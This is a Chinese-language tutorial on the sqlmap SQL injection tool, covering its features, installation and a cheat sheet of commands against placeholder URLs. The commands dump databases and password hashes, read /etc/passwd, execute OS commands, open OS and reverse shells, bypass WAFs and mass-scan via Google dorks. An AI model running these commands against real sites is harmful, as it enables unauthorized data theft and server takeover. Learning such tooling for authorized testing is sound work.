SQL注入篇——注入工具sqlmap使用详解

深渊向深渊呼唤

sqlmap简介

sqlmap是一个开源的渗透测试工具,它自动检测和利用SQL注入漏洞并接管数据库服务器。它配备了强大的检测引擎、最终渗透测试器的许多利基特性和广泛的开关,从数据库指纹、从数据库获取数据到通过带外连接访问底层文件系统和在操作系统上执行命令。

sqlmap功能

全力支持MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、IBM DB2、SQLite、Firebird、Sybase、SAP MaxDB、Informix、MariaDB、MemSQL、TiDB、CockroachDB、HSQLDB、H2、MonetDB、Apache Derby、Vertica、Mckoi和Presto数据库管理系统。 完全支持六种SQL注入技术:基于布尔的盲查询、基于时间的盲查询、基于错误的查询、基于联合查询的、基于堆栈的查询和带外查询。 支持直接连接到数据库通过提供DBMS凭据、IP地址、端口和数据库名称,而无需通过SQL注入传递。 支持枚举用户、密码散列、特权、角色、数据库、表和列 密码哈希格式的自动识别和对使用基于字典的攻击破解它们。 支持转储数据库表完整地说,根据用户的选择,有一系列的条目或特定的列。用户还可以选择仅转储每列条目中的字符范围。 支持搜索特定数据库名称、跨所有数据库的特定表或跨所有数据库表的特定列。例如,这对于标识包含自定义应用程序凭据的表非常有用,而相关列的名称包含字符串,如name和PASS。 支持下载和上传任何文件当数据库软件是MySQL、PostgreSQL或MicrosoftSQLServer时,从数据库服务器底层文件系统。 支持执行任意命令并检索其标准输出当数据库软件是MySQL、PostgreSQL或MicrosoftSQLServer时,在底层操作系统的数据库服务器上。 支持**在攻击者计算机和数据库服务器之间建立带外有状态tcp连接。**底层操作系统。该通道可以是交互式命令提示符、Meterpreter会话或根据用户选择的图形用户界面(VNC)会话。 支持数据库进程的用户权限提升通过Metasploit‘s Meterpretergetsystem命令。

sqlmap安装

安装包下载地址:https://pypi.org/project/sqlmap/#files

1.将安装好的软件包解压到C盘根目录下

SQL注入篇——注入工具sqlmap使用详解

2.然后进入此文件夹复制路径

SQL注入篇——注入工具sqlmap使用详解

3.将复制的路径添加到系统环境变量

SQL注入篇——注入工具sqlmap使用详解

4.启动cmd终端,输入sqlmap.py使用此工具

SQL注入篇——注入工具sqlmap使用详解

sqlmap使用

获取基本内容

sqlmap -u "http://url/news? --current-user #获取当前用户名称

sqlmap -u "http://www.xxoo.com/news? --current-db # 获取当前数据库名称

sqlmap -u "http://www.xxoo.com/news? --tables -D "db_name" #获取列表名

sqlmap -u "http://url/news? --columns -T "tablename" users-D "db_name" -v 0 #获取字段名

sqlmap -u "http://url/news? --dump -C "column_name" -T "table_name" -D "db_name" -v 0 #获取字段内容

重要信息获取

sqlmap -u "http://url/news? --dbms "Mysql" --users # dbms 指定数据库类型

sqlmap -u "http://url/news? --users #列数据库用户

sqlmap -u "http://url/news? --dbs #列数据库

sqlmap -u "http://url/news? --passwords #数据库用户密码

sqlmap -u "http://url/news? --passwords-U root -v 0 #列出指定用户数据库密码

sqlmap -u "http://url/news? --dump -C "password,user,id" -T "tablename" -D "db_name" --start 1 --stop 20 #列出指定字段,列出20 条

sqlmap -u "http://url/news? --dump-all -v 0 #列出所有数据库所有表sqlmap -u "http://url/news? --privileges #查看权限

sqlmap -u "http://url/news? --privileges -U root #查看指定用户权限sqlmap -u "http://url/news? --is-dba -v 1 #是否是数据库管理员

sqlmap -u "http://url/news? --roles #枚举数据库用户角色

sqlmap -u "http://url/news? --udf-inject #导入用户自定义函数(获取系统权限!)

sqlmap -u "http://url/news? --dump-all --exclude-sysdbs -v 0 # 列出当前库所有表

sqlmap -u "http://url/news? --union-cols #union 查询表记录sqlmap -u "http://url/news? --cookie "COOKIE_VALUE" #cookie注入

sqlmap -u "http://url/news? -b #获取banner信息sqlmap -u "http://url/news? --data " #post注入

sqlmap -u "http://url/news? -v 1 -f #指纹判别数据库类型

sqlmap -u "http://url/news? --proxy"http://127.0.0.1:8118" #代理注入

sqlmap -u "http://url/news?--string"STRING_ON_TRUE_PAGE" # 指定关键词

sqlmap -u "http://url/news? --sql-shell #执行指定sql命令sqlmap -u "http://url/news? --file /etc/passwd

sqlmap -u "http://url/news? --os-cmd=whoami #执行系统命令sqlmap -u "http://url/news? --os-shell #系统交互shell

sqlmap -u "http://url/news? --os-pwn #反弹shell

sqlmap -u "http://url/news? --reg-read #读取win系统注册表sqlmap -u "http://url/news? --dbs-o "sqlmap.log" #保存进度

sqlmap -u "http://url/news? --dbs -o "sqlmap.log" --resume # 恢复已保存进度

高级用法

-p name 多个参数如index.php?n_id=1&name=2&data=2020 我们想指定name参数进行注入

sqlmap -g “google语法” --dump-all --batch #google搜索注入点自动 跑出所有字段 需保证google.com能正常访问

–technique 测试指定注入类型\使用的技术

不加参数默认测试所有注入技术

• B: 基于布尔的SQL 盲注

• E: 基于显错 sql 注入

• U: 基于 UNION 注入

• S: 叠层 sql 注入

• T: 基于时间盲注

–tamper 通过编码绕过 WEB 防火墙(WAF) Sqlmap 默认用 char()

sqlmap -u "http://url/news? --smart --level 3 --users # smart 智能level 执行测试等级

攻击实例:

Sqlmap -u "http://url/news? --cookie="PHPSESS --string="Surname" --dbms=mysql --users --password

栏目